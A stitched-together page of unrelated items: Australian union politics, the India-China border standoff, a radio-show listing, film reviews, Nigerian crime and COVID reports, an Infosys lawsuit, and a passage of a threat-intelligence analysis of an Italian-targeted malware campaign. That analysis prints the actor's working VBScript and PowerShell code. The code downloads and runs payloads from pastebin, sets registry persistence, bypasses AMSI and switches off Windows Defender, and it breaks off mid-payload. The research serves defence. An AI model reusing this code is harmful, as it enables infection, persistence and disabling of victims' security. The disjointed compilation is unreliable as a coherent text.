ACTU secretary Sally McManus proclaimed last month that by collaborating with the unions, employers could get everything they want. She has worked closely with the federal Liberal-National government as it has provided multi-billion bailouts to the very corporations that are laying workers off, and has bragged of sometimes daily discussions with industrial relations minister Christian Porter.

This is a deepening of a decades-long role of the unions as an industrial police force committed to enforcing the dictates of the corporate elite and repressing opposition from workers.

The SDA has for years signed sweetheart agreements with the major retailers, supermarkets and fast food chains, slashing wages and conditions for some of the lowest-paid workers. In 2017, Fairfax media reports revealed that as a result of wage-cutting deals brokered by the SDA, as many as 250,000 fast food employees had received less pay than they were legally entitled to. Similar agreements, violating poverty-level minimum wages mandated by industry awards, have been struck by the SDA at the Coles and Woolworths supermarkets, at prominent pizza chains and across other businesses.

The rival Retail and Fast Food Workers Union (RAFFWU) has condemned the SDA for selling-out workers, including through its support for the latest changes mandated by the Fair Work Commission.

The RAFFWU was established in 2016 amid widespread anger over the SDAs machinations, including among affected workers. It was formed by Josh Cullinan, who has worked in the union officialdom for two decades. This has included full-time positions with the National Tertiary Education Union (NTEU) and the Construction, Forestry, Mining and Energy Union (CFMEU), both of which have imposed attacks to jobs and conditions similar to those enforced by the SDA.

The role of the RAFFWU is to promote the fraud that workers can advance their interests by forming a more militant union. In practice, its activities largely involve petitions, protest stunts and legal attempts to overturn SDA agreements and return workers to industry award conditions on the grounds that these, which only mandate minimum wages and entitlements, are marginally better than those contained in sell-out enterprise agreements.

In other words, the RAFFWU aims to channel workers behind the courts, the Fair Work Commission and appeals to the employersthe very mechanisms enforcing the attacks on pay and conditions.

The RAFFWU and its denunciations of the Fair Work ruling have been promoted by sections of the CFMEU, including the head of its Victorian construction division John Setka. In social media posts, he has denounced the ACTU and SDA as company stooges, and has asked whether McManus real name is Sally McDonalds.

Setka and the CFMEU, however, have themselves collaborated with the largest property developers throughout the pandemic. They have ensured that the construction industry, which centres on lucrative real estate and commercial development, has been deemed essential, using this to force workers to remain on the job despite the impossibility of social distancing and the dangers of coronavirus infection. Workers who have condemned this attack on their health and safety have been subjected to censorship by CFMEU Facebook moderators.

The construction union, moreover, has overseen decades of cuts to jobs and conditions. A number of its divisions were exposed in the 2015 Royal Commission into union corruption as having received kickbacks from property developers and labour hire firms, including as they deprived workers of entitled wages.

This demonstrates the sham character of the RAFFWU and CFMEU posturing. In addition to infighting within the union bureaucracy, their newfound opposition to sell-out agreements reflects nervousness over growing social and political opposition within the working class.

The unions are seeking to prevent this developing sentiment from erupting into a genuine industrial and political movement of the working class, directed against the entire capitalist political establishment, of which they are a part.
Army chief General Manoj Mukund Naravane on Friday visited Leh, the headquarters of 14 Corps in Ladakh, for a security review of the sensitive sector amid tensions between India and China along the disputed Line of Actual Control (LAC), two officials said on the condition of anonymity. He returned to Delhi later in the day.

The visit came a day after India rejected Chinas allegation that Indian troops initiated tensions and crossed LAC in Ladakh and Sikkim sectors and accused the Chinese army of hindering patrols on the Indian side.

Soldiers on both sides are showing restraint and efforts were underway to de-escalate, said one of the officials cited above.

India and China have deployed additional troops, especially in Ladakhs Galwan Valley, after a face-off near Pangong Tso on May 5-6. India bolstered its troop levels after the Chinese side brought in reinforcements and also reportedly pitched tents and erected temporary positions in the Galwan Valley as part of its efforts to establish a presence there.

Chinas foreign ministry first accused Indian troops of trespassing across LAC on Tuesday, saying Beijing had to take necessary countermeasures after the Indian army allegedly obstructed normal patrols by Chinese troops.

A government spokesperson on Thursday said, Any suggestion that Indian troops had undertaken activity across LAC in the western [Ladakh] sector or the Sikkim sector is not accurate.

HT was the first to report on May 10 about tensions flaring up between India and China in north Sikkim, where 150 soldiers were involved in a standoff a day earlier. Four Indian and seven Chinese soldiers were injured during the confrontation.

Scores of soldiers from the two countries clashed near Pangong Tso on the night of May 5-6 and a few were injured in the scuffle that involved around 250 men. While a flare-up was avoided as both armies stuck to protocols to resolve the situation, tensions spread to other parts of eastern Ladakh, including the Galwan Valley.

Talks between local commanders have failed to ease tensions and diplomatic channels are at work to end the standoff, officials said. The current situation along LAC marks the first major flare-up since the 73-day standoff between India and China at Doklam near the Sikkim border in 2017.

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ABOUT THE AUTHOR Rahul Singh Rahul Singh covers military affairs. He has been a journalist for 18 years. ...view detail
AUTO LAB TALK RADIO FROM NYC, Saturday May 23, 2020; WNYM Radio AM 970 7-9 AM





Auto Lab Talk Radio on New York City's WNYM Radio AM 970 Is Streamed Worldwide On TheAutoChannel.Com

This a Prerecorded Best Of Auto Lab - No Calls Please











Auto Lab is also about the automotive industry, its history, and its culture, presenting the ideas and advice of leading college faculty, authors, and automotive practitioners in a relaxed, conversational interactive format.

Listeners can find audio recordings of the past 20 years of archived Auto Lab shows as simulcast on The Auto Channel; The Auto Lab Index Page includes; Audio-on-Demand Archives, Community College Auto Program Database, Guests Pictures

This Weeks Show: May 23, 2020

In Studio Expert Automotive Panel

Harold Bendell, Major World

Tim Cacace- Master Mechanix

David Goldsmith-Urban Classics

Jerry Pastore- D & J Diagnostics

Johanna Pastore-D & J Diagnostics

Joanne Porcelli, Esq.

Michael Porcelli, Bronx Community College, City University of New York

Nicholas Prague, MTA

Interviews

Russ Rader Senior Vice President Insurance Institute for Highway Safety

"FORD EXPLORER TEST RESULTS"

Robert Sinclair AAA Northeast

"FUNDING FOR ROAD IMPROVEMENTS

Sharon Sudol , John Russell Senior Correspondents

"LEXUS LS500"

Robert Erskine, Senior European Correspondent

"CES DAILY : STUDY FINDS LUKEWARM CONSUMER INTEREST IN AVS, EVS"
On April 20, 2015, two thieves broke into Oslo's Galleri Nobel and walked out with a pair of rolled-up canvases by painter Barbora Kysilkova. That crime sets the stage for the remarkable and surprisingly moving documentary "The Painter and the Thief," which charts the Czech-born, Oslo-based artist's subsequent friendship with one of the two men who stole her art: Karl-Bertil Nordland. A junkie who was so high at the time of the burglary that he can't recall what happened to Kysilkova's art, Nordland begins posing for Kysilkova, who approached him in the courtroom, seemingly as a way to make recompense for the loss of her art. What ensues is a strange and beautiful story touching on the meaning of love, forgiveness, exploitation, the role of the muse and healing. Filmmaker Benjamin Ree ("Magnus") doesn't tell the tale - complete with twists - in a linear fashion, and he leaves some things, such as details about Nordland's sentence, unanswered. But as he follows this odd couple through Nordland's continuing trouble with the law, rehab and eventually enrollment in nursing school, and Kysilkova's struggles with paying her studio rent and her relationship with her boyfriend, what emerges is a narrative powerful and provocative enough to make "Painter" the best art documentary since last years's "The Proposal." Unrated. Available May 22 at afisilver.afi.com and sunscinema.com. Contains drug material, coarse language and smoking. In English and Norwegian with subtitles. 102 minutes.

- Michael O'Sullivan

- - -

No sooner has "The Lovebirds," a romaction-comedy starring Issa Rae and Kumail Nanjiani, gotten off to a promising start with a charming opening sequence than cold reality sets in: Jibran (Nanjiani) and Leilani (Rae) re-meet cute the morning after a one-night hookup, sharing breakfast and flirty banter. Four years later, they're a bickering couple, distracted by social media envy (her) and an unfinished film project (him). But it's when the viewer remembers that "The Lovebirds" was originally slated for theatrical release in April - that notorious dumping ground for mediocre material - that the shiver goes down the spine. Hewing to a formula made famous by "Date Night," "Game Night," "Knight and Day" and other movies with "night" or its homophones in the title, this economical but inescapably derivative diversion takes its protagonists on an increasingly absurdist and illogical journey, winding up in a scenario that looks like hastily assembled outtakes from "Eyes Wide Shut." The film is smoothly directed by Michael Showalter, but even the charms of Rae and Nanjiani - who do their best to keep the balloon afloat with rapid-fire banter and their innate appeal - can't make "The Lovebirds" take flight. R. Available on Netflix. Contains sexuality, strong language throughout and some violence. 86 minutes.

- Ann Hornaday

- - -

The earnest drama "Mr. Jones" tells the story of Gareth Jones (James Norton), a Welsh journalist who, in the early 1930s, when many mainstream Western papers were still covering Joseph Stalin from a respectful distance, slipped into Ukraine to report about the Soviet leader's devastating policies in that country, resulting in man-made famine (known as the Holodomor). Directed by Agnieszka Holland ("Europa Europa"), the story has a timely resonance, given today's attitudes about "fake news" and the attacks on journalism from on high, but it lacks a sense of urgency. It's a well-crafted but dutiful film, even when it's attempting to convey outrage, as when Jones says, "I don't have an agenda - unless you call truth an agenda." Unrated. Available at afisilver.afi.com and theavalon.org. Contains scenes of misery, death and cannibalism, nudity and drug use. In English, Russian and Ukrainian with subtitles. 119 minutes.

- M.O.

- - -

"I'm not photogenic, and I'm very old," says the opinionated author and Mexican cooking expert who's the subject of "Diana Kennedy: Nothing Fancy." "I'm not a great subject." Untrue. Directed and produced by Elizabeth Carroll, the 81-minute documentary would be entertaining at twice the length. The film efficiently summarizes a life well-lived: Kennedy was born in England in 1923, and moved to Mexico in 1957 with her husband, New York Times correspondent Paul Kennedy. He died in 1967, but Kennedy, who never left Mexico, has spent the rest of her life researching and promoting Mexican cuisine, to the extent that even indigenous chefs consider her an honorary Mexican. We'll have to take it on faith that her cooking is as delicious as it looks, but as a personality, Kennedy - 95 at the time of filming, and still driving her truck down winding mountain roads - may be even spicier than the hot peppers she loves to use. Restaurateur Nick Zukin explains that, "She doesn't care if people like her." But it's Kennedy's bluntness that makes her so endearing, as, when preparing a bowl of guacamole, she insists, "If people don't like cilantro, don't invite them." Unrated. Available May 22 at afisilver.afi.com, theavalon.org, themiracletheatre.com and dianakennedymovie.com. Contains some strong language. 81 minutes. On Saturday at 8 p.m., there will be a free virtual Q&A with director Elizabeth Carroll, chefs Alice Waters and Gabriela Camara, and food writer David Tanis, moderated by author Lesley Tellez. Register at bit.ly/DianaKennedyQARegistration.

- Pat Padua

- - -

ALSO STREAMING:

The sport - and art - of fly-fishing is celebrated in the documentary "Land of Little Rivers." Unrated. Available on Amazon and Vimeo. 93 minutes.

- - -

Narrated by Annette Bening, the documentary "A Towering Task: The Story of the Peace Corps" looks at the history of the service organization established in 1961 by President John Kennedy. Unrated. Available at watch.firstrunfeatures.com. 107 minutes.

- - -

In the indie dramedy "Buffaloed," Zoey Deutch plays a woman who tries to achieve escape velocity from the city of Buffalo by becoming a debt collector. "Simultaneously rowdy and slick, 'Buffaloed' is exuberantly paced, according to the New York Times - "and entirely dependent on Deutch's moxie and pell-mell performance." Unrated. Available on various streaming platforms. 94 minutes.

- - -

Kristin Scott Thomas stars in "Military Wives," a fact-based drama about a group of English women who start a choir while their husbands are deployed in Afghanistan. PG-13. Available May 22 on various streaming platforms, including Hulu, afisilver.afi.com and cinemaartstheatre.com. Contains some strong language and sexual references. 113 minutes.

- - -

"Torpedo U-235" is a World War II thriller about a group of resistance fighters on a mission to deliver a Uranium-filled submarine from the Belgian Congo to the United States, where the cargo will be used for the Manhattan Project. Unrated. Available via various on-demand platforms. In English, German, French and Dutch with subtitles. 102 minutes.
A woman, Salma Hassan, 18, who allegedly stabbed her husband to death, has said that she did that because she did not know that sex was part of marital obligations.

Salma, who is being detained by the Police in Bauchi, told reporters that she killed her husband, Mohammed Mustafa, because she thought he was just trying to defile me.

I didnt know that sex is a marital obligation. On that day, when he approached me for sex, I refused because I have never been involved in it before.

I thought he wanted to rape me but he got angry and was trying to force himself on me. He started beating me.

I picked up a knife to scare him away but he kept coming and I didnt know when I stabbed him with the knife in his chest, she said.

Salma further explained that she had already given her statement to the police and did not know what would become her fate.

I wouldnt have done it if I knew better about marital obligations, she claimed.

I thought he was just trying to defile me. No one told me about this aspect of marital union, the young woman said.

The News Agency of Nigeria (NAN), reports that the suspect was paraded before reporters in the north-eastern states capital.

Meanwhile, Philip Maku, police commissioner in the state, also showed reporters a knife Salma allegedly used to commit the crime at her home in Itas-Gadau Local Government Area of the state.

The police officer explained that the suspect was arrested on April 24.

On April 24, one Haruna Musa, a resident of Itas-Gadau, reported the matter at Itas-Gadau Division. He complained that one Salma Hassan stabbed her husband.

The husband, Mohammed Mustapha, was stabbed on the chest. He sustained injuries and was rushed to the General hospital, ItasGadau for treatment but died soon after arriving at the facility.

The suspect was arrested and has confessed to the crime. Exhibit recovered from the suspect was one knife, he said.(NAN)
Tech services giant Infosys Ltd said on Friday that a class action lawsuit filed against the company and its some of its current and former employees in October 2019, has been dismissed by the plaintiff "voluntarily" and "without prejudice".

The class action lawsuit was filed in the Eastern District of New York after whistleblowers allegations against the company in October 2019. "The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the Company's publicly traded securities between July 7, 2018 and October 20, 2019, and alleged claims for violations of the US federal securities laws. On May 21, 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice," Infosys told the stock exchanges.

Also read: SEBI, BSE ask Infosys why it didn't disclose whistleblower complaints

Three US investor rights law firms had filed a class-action lawsuit against Infosys after a group of whistleblowers alleged the company and its CEO Salil Parekh of indulging in unethical practices in October 2019. The companies, Bragar Eagel & Squire, The Rosen Law Firm and Howard G Smith, filed lawsuits on behalf of investors who purchased Infosys securities.

Also read: Infosys explains why it didn't disclose whistleblower complaint to regulators

These companies claimed that Infosys disclosed about whistleblower complaints alleging 'unethical practices' by the company's management to "inappropriately boost" short-term revenue and profit. They also said complaints alleged that Infosys CEO Salil Parekh bypassed reviews and approvals of large contracts to avoid accounting scrutiny.

Also read: Post-COVID, 75% of 4.5 lakh TCS employees to permanently work from home by '25; from 20%
<! Doctors attending to Coronavirus patient >

By Kazeem Ugbodaga

Nigerias Coronavirus infections have jumped to 7,016, with 339 new cases recorded on Thursday.

Lagos has continued to record a spike in infections, recording 139 new cases, while Kano and Oyo came a distant second with 28 cases each.

Edo logged 25 new cases, Katsina 22, Kaduna 18, Jigawa 14, Yobe and Plateau 13 cases each and FCT 11.

Others are, Gombe, eight cases; Ogun five cases; Bauchi and Nasarawa, four cases each; Delta, three cases; Ondo, two cases, while Rivers and Adamawa recorded one case each.

The nation recorded 11 deaths on Thursday to take the overall deaths so far to 211, while 1,907 patients who recovered from the virus have been discharged.

How States Stand

139-Lagos

28-Kano

28-Oyo

25-Edo

22-Katsina

18-Kaduna

14-Jigawa

13-Yobe

13-Plateau

11-FCT

8-Gombe

5-Ogun

4-Bauchi

4-Nasarawa

3-Delta

2-Ondo

1-Rivers

1-Adamawa
ZLab researchers spotted a new malicious espionage activity targeting Italian companies operating worldwide in the manufacturing sector.

Introduction

During our Cyber Threat Intelligence monitoring we spotted new malicious activities targeting some Italian companies operating worldwide in the manufacturing sector, some of them also part of the automotive production chain.

The group behind this activity is the same we identified in the past malicious operations described in Roma225 (12/2018), Hagga (08/2019), Mana (09/2019), YAKKA (01/2020). This actor was first spotted by PaloAltos UNIT42 in 2018 during wide scale operations against technology, retail, manufacturing, and local government industries in the US, Europe and Asia. They also stated the hypothesis of possible overlaps with the Gorgon APT group, but no clear evidence confirmed that.

However, in order to keep track of all of our report, we synthesized all the monitored campaigns, with their TTPs and final payload:

Table 1: Synthetic table of the campaigns

As we can see from the table, the Aggah campaigns varied in the time, but it maintained some common points. All campaigns used as the initial stage an office document (PowerPoint or Excel) armed with macro and some of them used injection methods.

All attack operations used a Signed Binary Proxy Execution technique abusing Mshta, a legit Microsoft tool, and used at least an executable file for the infection. In addition, the use of PowerShell stage or the abuse of legit web service has been reported in some campaigns.

Furthermore the CMSTP bypass exploit is a new feature present only in the 2020, because the first malwares identified to exploit this vulnerability all date back to mid/end 2019, making think the fact that the Threat Actor likes to test the latest disclosed exploits in order to make its campaigns always at the forefront. Regarding persistence mechanisms, we note that initially scheduled tasks were used, but in the latest infections the registry run keys were used. All threats use at least one obfuscation method to make the analysis harder.

Looking at the evolution of the final payloads, we can say that this evolution is certainly due to a chronological factor, since Revenge rat had become obsolete, but the evolution is also due to the technological factor and its means: revenge rat has the classic functionality of spyware, while AZORult is considered an info stealer. As a last payload, Agent Tesla was used which collects all the functionality of the previous payloads as it is considered an info stealer and spyware.

Technical Analysis

The infection chain starts with a malicious Microsoft Powerpoint weaponized with a malicious macro.

Hash 7eafb57e7fc301fabb0ce3b98092860aaac47b7118804bb8d84ddb89b9ee38f3 Threat Malicious macro Brief Description Malicious ppt dropper with macro. Ssdeep 192:EFm9QiR1zQRZ0DfZGJjBVySCGVBdJWUpFVzsn6xVNdwWFj/WOvYoZLlmYvJuec9r:i8R1ERZ0DMJjU+bRuxURKMxpcksPY

Table 2. Sample information

The content of the macro is quite easy to read and the content is short and easy to read:

Figure 1: Content of the malicious macro

The VBA macro is responsible to download and execute malicious code retrieved from pastebin. j[.mp is an url shortening service, the following request redirect and download a pastebin content:

Figure 2: Shortener resolution

The MSHTA Drop Chain

Like the previous campaigns, this threat actor uses a Signed Binary Proxy Execution (ID: T1218) technique abusing mshta.exe (T1170) a signed and legit Microsoft tool. Adversaries can use mshta.exe to proxy execution of malicious .hta files, Javascript or VBScript.

Figure 3: Piece of code of the Bnv7ruYp paste

As shown in the above figure, the code is simply URI encoded by replacing each instance of certain characters by one, two or three escape sequences representing the UTF-8 encoding of the character.

<script language=VBScript>id1CreateObject(WScript.Shell).Run mshtahttp:\\pastebin.com\raw\5CzmZ5NS

CreateObject(WScript.Shell).Run StrReverse(/ 08 om/ ETUNIM cs/ etaerc/ sksathcs) + tn Pornhubs /tr \mshta\http:\\pastebin.com\raw\5CzmZ5NS /F ,0

id2CreateObject(WScript.Shell).RegWrite StrReverse(TRATS

uR

oisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH), m + s + h + t + ahttp:\\pastebin.com\raw\sJEBiiMw, REG_SZid3CreateObject(WScript.Shell).RegWrite StrReverse(

uR

oisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH), m + s + h + t + ahttp:\\pastebin.com\raw\YL0je2fU, REG_SZ



defidCreateObject(WScript.Shell).Run mshtahttp:\\pastebin.com\raw\UyFaSxgjCreateObject(WScript.Shell).RegWrite StrReverse(FED

uR

oisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH), m + s + h + t + ahttp:\\pastebin.com\raw\UyFaSxgj, REG_SZ



self.close</script>

Code Snippet 1

This stage acts as a dropper, in fact, it downloads and executes some pastebin contents through mshta.exe.

Figure 4: Evidence of the NIBBI author

This lasta campaign has been dubbed with the name of the Pastebin user spreading the malicious pastes. This time the name is NIBBI. The first component is 5CzmZ5NS:

Figure 5: Piece of the code of 5CzmZ5NS paste

The second one is sJEBiiMw:

Figure 6: Piece of the code of the sJEBiiMw paste

The third one, YL0je2fU:

Figure 7: Piece of the code of the YL0je2fU paste

and the fourth component, UyFaSxgj:

Figure 8: Piece of the code of the UyFaSxgj paste

This obfuscation technique is typical of this particular actor and he largely leveraged it in many malicious operations. Moreover, the usage of a legit website such as pastebin (T1102) gives a significant amount of cover such as advantages of being very often whitelisted. Using such a service permits to reduce the C2 exposure. In the past, other groups also used similar techniques to decouple attack infrastructure information from their implant configuration, groups such as APT41, FIN6 or FIN7.

Once decoded the first component (5CzmZ5NS), it unveils some logic, as shown in Code Snippet 2. First of all, the script set a registry key, as a windows persistence mechanism (T1060) in which it place the execution of the following command: mshta vbscript:Execute(CreateObject(Wscript.Shell).Run powershell ((gp HKCU:\Software).iamresearcher)|IEX

<script language=VBScript>CreateObject(WScript.Shell).RegWrite HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin, mshta vbscript:Execute(CreateObject(Wscript.Shell).Run powershell ((gp HKCU:\Software).iamresearcher)|IEX, 0 : window.close), REG_SZ

CreateObject(Wscript.Shell).regwrite HKCU\Software\iamresearcher, $fucksecurityresearchers=contactmeEX.replace(contactme,I);sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open(GET,https://pastebin.com/raw/rnS6CUzX,$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split - |ForEach-Object {[char][byte]0x$_};$asciiString= $asciiChars -join |M;[Byte[]]$Cli2= iex(iex((&(GCM *W-O*)+ Net.+WebC+lient)+.Dow+nload+Str+ing(https://pastebin.com/raw/Rk4engdU).replace(#,!#!@#).replace(!#!@#,0x))) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS(InstallUtil.exe,$Cli2) , REG_SZ

Const HIDDEN_WINDOW = 0strComputer = .Set objWMIService = GetObject(winmgmts: & {impersonationLevel=impersonate}!\\ & strComputer & \root\cimv2)Set objStartup = objWMIService.Get(Win32_ProcessStartup)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(winmgmts:root\cimv2:Win32_Process)errReturn = objProcess.Create( powershell ((gp HKCU:\Software).iamresearcher)|IEX, null, objConfig, intProcessID)i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my wayi am not a coder  i watch you on twitter every day thanks  i love my code reports!i am not a coder! bang 

self.close

</script>

Code Snippet 2

The code contains some funny comments related to the twitter community of security researchers which constantly monitor the actor operations. Then, the final payload is identified by Rk4engdU paste.

Figure 9: Piece of the rnS6CUz paste

Decoding this hex stream we get the following powershell code:

function UNpaC0k3333300001147555 {

[CmdletBinding()] Param ([byte[]] $byteArray) Process { Write-Verbose Get-DecompressedByteArray $input = New-Object System.IO.MemoryStream( , $byteArray ) $output = New-Object System.IO.MemoryStream $01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)

$puffpass = New-Object byte[](1024) while($true){ $read = $01774000.Read($puffpass, 0, 1024) if ($read -le 0){break} $output.Write($puffpass, 0, $read) } [byte[]] $bout333 = $output.ToArray() Write-Output $bout333 }}

$t0=DEX.replace(D,I);sal g $t0;[Byte[]]$MNB=(OBFUSCATED PAYLOAD ONE.replace(@!,0x))| g;

[Byte[]]$blindB=(OBFUSCATED PAYLOAD TWO.replace(@!,0x))| g

[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB

$blind=[System.Reflection.Assembly]::Load($deblindB)[Amsi]::Bypass()

[byte[]]$decompressedByteArray = UNpaC0k3333300001147555 $MNB

Code Snippet 3

The Powershell Loader

The Code Snippet 3 is a Powershell script in which the function UNpaC0k3333300001147555 is declared, having the purpose to manipulate the two payloads in the right way. Both of them are .NET binaries. The de-obfuscated code is stored in the deblindB variable and then executed.

As suggested by the name deblindB, invoke the execution of the static method Bypass of the Amsi class.

Figure 10: Amsi Bypass exploit evidence

Instead, the payload embedded inside the variable $MNB is another type of injection tool, but this one is not executed by the script, probably because both the binaries perform the same action and only one is sufficient.

At this point, we deepen the sJEBiiMw component obtaining:

<script language=VBScript>Const HIDDEN_WINDOW = 0strComputer = .Set objWMIService = GetObject(winmgmts: & {impersonationLevel=impersonate}!\\ & strComputer & \root\cimv2)Set objStartup = objWMIService.Get(Win32_ProcessStartup)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(winmgmts:root\cimv2:Win32_Process)errReturn = objProcess.Create( powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(h+t+t+p+s+:+/+/+p+a+s+t+e+b+i+n+.+c+o+m+/+r+a+w+/ygwLUS9C));$_Xpin=$_Xpin.replace(.,*!(@*#(!@#*).replace(*!(@*#(!@#*,0);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X), null, objConfig, intProcessID)

self.close

</script>

Code Snippet 4

This script downloads and executes another script from pastebin: ygwLUS9C. It is a base64 encoded script with some basic string replacing. We also noticed this executable uses the CMSTP bypass technique (T1191), already seen in our previous report.

Figure 11: CMSTP Bypass evidence

However, in this case, there is a new element differently the previous version: through the CMSTP bypass, a VBS script is written in the \%TEMP%\ folder, which executes many disruptive commands:

Figure 12: Evidence of the VBS script loaded and executed

The VBS script, as also mentioned inside the first row as comment, has the objective to set to zero the level of security of the infected machine. The script is the following:

this script will put system on 0 securityIf Not WScript.Arguments.Named.Exists(elevate) Then CreateObject(Shell.Application).ShellExecute WScript.FullName _ ,  & WScript.ScriptFullName &  /elevate, , runas, 1 WScript.QuitEnd If

On Error Resume NextSet WshShell = CreateObject(WScript.Shell)WshShell.RegWrite HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,0,REG_DWORDWshShell.RegWrite HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring,0,REG_DWORDWshShell.RegWrite HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection,0,REG_DWORDWshShell.RegWrite HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable,0,REG_DWORD

WScript.Sleep 100

outputMessage(Set-MpPreference -DisableRealtimeMonitoring $true)outputMessage(Set-MpPreference -DisableBehaviorMonitoring $true)outputMessage(Set-MpPreference -DisableBlockAtFirstSeen $true)outputMessage(Set-MpPreference -DisableIOAVProtection $true)outputMessage(Set-MpPreference -DisableScriptScanning $true)outputMessage(Set-MpPreference -SubmitSamplesConsent 2)outputMessage(Set-MpPreference -MAPSReporting 0)outputMessage(Set-MpPreference -HighThreatDefaultAction 6 -Force)outputMessage(Set-MpPreference -ModerateThreatDefaultAction 6)outputMessage(Set-MpPreference -LowThreatDefaultAction 6)outputMessage(Set-MpPreference -SevereThreatDefaultAction 6)



Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = .Set objWMIService = GetObject(winmgmts: & {impersonationLevel=impersonate}!\\ & strComputer & \root\cimv2)Set objStartup = objWMIService.Get(Win32_ProcessStartup)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(winmgmts:root\cimv2:Win32_Process)errReturn = objProcess.Create( powershell  + args, null, objConfig, intProcessID)



End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = .Set objWMIService = GetObject(winmgmts: & {impersonationLevel=impersonate}!\\ & strComputer & \root\cimv2)Set objStartup = objWMIService.Get(Win32_ProcessStartup)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(winmgmts:root\cimv2:Win32_Process)errReturn = objProcess.Create( powershell $cici=@(36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,